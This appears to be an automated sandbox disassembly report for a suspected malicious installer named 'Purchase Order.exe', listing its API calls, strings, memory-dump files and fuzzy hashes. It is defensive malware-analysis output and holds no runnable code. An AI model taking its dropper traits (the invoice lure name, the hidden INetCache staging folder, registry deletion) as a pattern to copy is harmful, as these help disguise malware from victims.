API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-553797519
Opcode ID: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction ID: bfd989d901498d13fd43eebbd57bf0dae5b4b0e38faf5f28c0e1a6b78de2ea97
Opcode Fuzzy Hash: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction Fuzzy Hash: B7F082367086046BEB108F55EC04B9B7BACDF91750F10C03BFA08DA1D0E6B5F9548B59

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 1b6bc3f1deefa661c1c70c6fa14cacfade3144c59ce8f26d4f2651a72c65fdc8
Instruction ID: cbb66f3b7e8ae2888f759c75a40f8dd5de3b5766fb854263a8955dc236021e84
Opcode Fuzzy Hash: 1b6bc3f1deefa661c1c70c6fa14cacfade3144c59ce8f26d4f2651a72c65fdc8
Instruction Fuzzy Hash: 39117C71A00108FFDF11AF90DE89DAA3B7DEB54345F004076FA05F10A0D378AE51AB69

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction ID: 023f80fe09a274ffd38664002148efa248b1b49841e283c842910b226ff12a9e
Opcode Fuzzy Hash: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction Fuzzy Hash: BA219171A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA7886408B28

Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 725aac035963670df89eafb1b7d16b4a342722268493254e79787a1b1d8c7f06
Instruction ID: 7d08e1e337802b2334af88e0c199d29f708e40c37bf94ee781fb5d0f0b1c297d
Opcode Fuzzy Hash: 725aac035963670df89eafb1b7d16b4a342722268493254e79787a1b1d8c7f06
Instruction Fuzzy Hash: 7B219571E00225F7DB207FA48E49A6E7A74AB44354F20417BF601B22D1D6BE4A42965E

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405A02: CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A15
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A29

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004055D6: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing, xrefs: 00401631

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\professionalizing
API String ID: 1892508949-2517315260
Opcode ID: d3ecf39b463245ce7325277e5a84709cb344a9e2d097f8503a0b38c2d9d22c49
Instruction ID: 08eb89b31b1746408a8977735749f07bd83b4a0adfeb71850534f1b020668021
Opcode Fuzzy Hash: d3ecf39b463245ce7325277e5a84709cb344a9e2d097f8503a0b38c2d9d22c49
Instruction Fuzzy Hash: AF110831608151EBDF317FA54D415BF26B0DA92324B28097FE4D1B22D2D53E4943AA7E

Function 00405A57 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405A02: CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A15
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A29

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405AAA
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00405ABA

Strings

C:\, xrefs: 00405A5D, 00405A62, 00405A68, 00405AA3, 00405AA9, 00405AB1, 00405AB9

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 0ef386635608f692f0e7c0f61560742430c47c7f4d5a656852c6bdb0725f2d70
Instruction ID: e1d085c028a746cb3a9e1ce3b1c858eea9bd943bc63f8ca8d2e2b8bbc1a38a79
Opcode Fuzzy Hash: 0ef386635608f692f0e7c0f61560742430c47c7f4d5a656852c6bdb0725f2d70
Instruction Fuzzy Hash: 02F0C835305D6526C622233A5C89AAF5A54CE86324719073BF891B52D2DB3C89439D7E

Function 00405688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
CloseHandle.KERNEL32(?), ref: 004056BE

Strings

Error launching installer, xrefs: 0040569B

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction ID: a84e3f3112e4284354e87e930577f618970dfa48977d7da17d28cbc3385d6636
Opcode Fuzzy Hash: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction Fuzzy Hash: 36E04FB0A002097FEB009B60EC05F7B7ABCE710204F808571BD01F2160D278A8008A78

Function 00406977 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction ID: 2e33bf0a2efd24b19013112e0e3dc0c5d96cbb3b8ddfa3d6198f03b0ea5f4905
Opcode Fuzzy Hash: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction Fuzzy Hash: 38A14271E00229CBDF28CFA8C8447ADBBB1FF44305F15806AD856BB281D7789A96DF44

Function 00406B78 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction ID: b6fdc69984dd60fe5839cdbb69547f11a37967466e553f406be5e4f069ddcdf3
Opcode Fuzzy Hash: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction Fuzzy Hash: 06912371E00228CBDF28CF98C8547ADBBB1FF44305F15816AD856BB291C778AA96DF44

Function 0040688E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction ID: c7cee2028620334147dbeeecb81edbae78790ee6bd2d36d3aed28758d5738f0f
Opcode Fuzzy Hash: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction Fuzzy Hash: CF813471E00228DBDF24CFA8C844BADBBB1FF44305F25816AD856BB291D7389996DF14

Function 00406393 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction ID: 57d0a4a62e73b261e138738b2685f27b9a830e1577229771e06a9dcc4a08ef7a
Opcode Fuzzy Hash: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction Fuzzy Hash: DC816771E04228DBDF24CFA8C844BADBBB1FF44315F11816AD856BB280C7786996DF44

Function 004067E1 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction ID: 7a0e56a60353855b6858f4e45cba095cd8fb81da81d2b3e1620468e36a0fecf5
Opcode Fuzzy Hash: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction Fuzzy Hash: E2710371E00228DBDF28CFA8C844BADBBB1FF44305F15806AD856BB291D7389996DF54

Function 004068FF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction ID: 640397e2d056f1a05ee02a3664d9fcc147c5dfb75bdb54ac859d1c8af1b059c5
Opcode Fuzzy Hash: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction Fuzzy Hash: 7F712471E00228DBDF28CF98C844BADBBB1FF44305F15806AD856BB291C7789996DF48

Function 0040684B Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction ID: 45e0d9c6199636d87fa33ccb5d6651f7628d4ee42d5e4054af8bad143df77737
Opcode Fuzzy Hash: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction Fuzzy Hash: D1714771E00228DBDF28CF98C844BADBBB1FF44305F15806AD956BB291C778AA56DF44

Function 004030F8 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040310C

Part of subcall function 00403277: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 0040313F
SetFilePointer.KERNELBASE(00286DC5,00000000,00000000,004128D8,00004000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000), ref: 0040323A

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
